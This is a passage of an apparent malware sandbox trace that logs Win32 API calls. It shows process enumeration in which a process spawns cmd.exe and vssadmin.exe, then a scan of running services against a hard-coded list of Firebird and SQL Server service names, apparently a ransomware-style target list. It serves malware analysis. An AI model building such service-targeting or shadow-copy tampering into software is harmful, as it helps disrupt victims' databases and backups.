cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0050.411] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0050.411] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0050.412] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0050.412] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.412] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.412] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0050.412] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0050.412] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0050.413] lstrlenW (lpString="cmd.exe") returned 7 [0050.413] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.413] lstrlenW (lpString="conhost.exe") returned 11 [0050.413] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0050.413] lstrlenW (lpString="vssadmin.exe") returned 12 [0050.413] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0050.413] lstrlenW (lpString="VSSVC.exe") returned 9 [0050.413] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.414] lstrlenW (lpString="svchost.exe") returned 11 [0050.414] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0050.414] CloseHandle (hObject=0x3e8) returned 1 [0050.414] Sleep (dwMilliseconds=0x1f4) [0050.972] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297ae0 [0050.972] EnumServicesStatusExW (in: hSCManager=0x3297ae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0050.973] GetLastError () returned 0xea [0050.973] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x4e800a8 [0050.973] EnumServicesStatusExW (in: hSCManager=0x3297ae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4e800a8, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4e800a8, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0050.973] CloseServiceHandle (hSCObject=0x3297ae0) returned 1 [0050.973] lstrlenW (lpString="Appinfo") returned 7 [0050.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0050.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0050.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0050.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0050.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0050.974] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0050.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.974] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0050.974] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0050.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0050.974] lstrlenW (lpString="AudioSrv") returned 8 [0050.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0050.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0050.974] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0050.974] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0050.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0050.974] lstrlenW (lpString="BFE") returned 3 [0050.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0050.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0050.974] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0050.974] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0050.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0050.974] lstrlenW (lpString="CryptSvc") returned 8 [0050.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0050.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0050.974] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0050.974] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0050.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0050.974] lstrlenW (lpString="CscService") returned 10 [0050.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0050.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0050.975] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0050.975] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0050.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0050.975] lstrlenW (lpString="DcomLaunch") returned 10 [0050.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.975] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0050.975] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0050.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0050.975] lstrlenW (lpString="Dhcp") returned 4 [0050.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0050.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0050.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0050.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0050.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0050.975] lstrlenW (lpString="Dnscache") returned 8 [0050.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0050.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0050.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0050.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0050.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0050.975] lstrlenW (lpString="DPS") returned 3 [0050.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0050.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0050.975] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0050.975] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0050.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0050.975] lstrlenW (lpString="eventlog") returned 8 [0050.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0050.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0050.975] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0050.976] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0050.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0050.976] lstrlenW (lpString="EventSystem") returned 11 [0050.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0050.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0050.976] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0050.976] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0050.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0050.976] lstrlenW (lpString="gpsvc") returned 5 [0050.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0050.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0050.976] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0050.976] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0050.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0050.976] lstrlenW (lpString="iphlpsvc") returned 8 [0050.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.976] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0050.976] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0050.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0050.976] lstrlenW (lpString="LanmanServer") returned 12 [0050.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0050.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0050.976] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0050.976] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0050.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0050.976] lstrlenW (lpString="LanmanWorkstation") returned 17 [0050.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.976] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0050.977] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0050.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0050.977] lstrlenW (lpString="lmhosts") returned 7 [0050.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0050.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0050.977] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0050.977] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0050.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0050.977] lstrlenW (lpString="MMCSS") returned 5 [0050.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0050.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0050.977] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0050.977] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0050.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0050.977] lstrlenW (lpString="MpsSvc") returned 6 [0050.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0050.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0050.977] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0050.977] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0050.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0050.977] lstrlenW (lpString="Netman") returned 6 [0050.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0050.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0050.977] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0050.977] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0050.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0050.977] lstrlenW (lpString="netprofm") returned 8 [0050.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0050.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0050.977] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0050.977] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0050.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0050.978] lstrlenW (lpString="NlaSvc") returned 6 [0050.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0050.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0050.978] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0050.978] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0050.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0050.978] lstrlenW (lpString="nsi") returned 3 [0050.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0050.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0050.978] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0050.978] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0050.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0050.978] lstrlenW (lpString="PcaSvc") returned 6 [0050.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0050.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0050.978] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0050.978] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0050.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0050.978] lstrlenW (lpString="PlugPlay") returned 8 [0050.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0050.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0050.978] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0050.978] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0050.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0050.978] lstrlenW (lpString="Power") returned 5 [0050.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0050.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0050.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0050.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0050.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0050.979] lstrlenW (lpString="ProfSvc") returned 7 [0050.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0050.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0050.979] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0050.979] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0050.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0050.979] lstrlenW (lpString="RpcEptMapper") returned 12 [0050.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.979] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0050.979] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0050.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0050.979] lstrlenW (lpString="RpcSs") returned 5 [0050.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0050.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0050.979] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0050.979] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0050.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0050.979] lstrlenW (lpString="SamSs") returned 5 [0050.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0050.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0050.979] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0050.979] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0050.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0050.979] lstrlenW (lpString="Schedule") returned 8 [0050.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0050.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0050.979] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0050.979] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0050.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0050.980] lstrlenW (lpString="SENS") returned 4 [0050.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0050.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0050.980] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0050.980] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0050.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0050.980] lstrlenW (lpString="ShellHWDetection") returned 16 [0050.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.980] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0050.980] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0050.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0050.980] lstrlenW (lpString="Spooler") returned 7 [0050.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0050.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0050.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0050.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0050.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0050.980] lstrlenW (lpString="swprv") returned 5 [0050.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0050.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0050.980] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0050.980] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0050.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0050.980] lstrlenW (lpString="SysMain") returned 7 [0050.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0050.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0050.980] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0050.980] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0050.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0050.980] lstrlenW (lpString="Themes") returned 6 [0050.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0050.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0050.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0050.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0050.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0050.981] lstrlenW (lpString="TrkWks") returned 6 [0050.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0050.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0050.981] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0050.981] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0050.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0050.981] lstrlenW (lpString="UxSms") returned 5 [0050.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0050.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0050.981] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0050.981] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0050.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0050.981] lstrlenW (lpString="VSS") returned 3 [0050.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0050.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0050.981] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0050.981] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0050.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0050.981] lstrlenW (lpString="WdiServiceHost") returned 14 [0050.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.981] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0050.981] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0050.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0050.981] lstrlenW (lpString="WdiSystemHost") returned 13 [0050.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.982] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0050.982] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0050.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0050.982] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0050.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.982] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0050.982] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0050.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0050.982] lstrlenW (lpString="Winmgmt") returned 7 [0050.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0050.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0050.982] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0050.982] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0050.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0050.982] lstrlenW (lpString="WPDBusEnum") returned 10 [0050.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.982] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0050.982] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0050.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0050.982] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0050.982] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0050.984] Process32FirstW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0050.984] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: 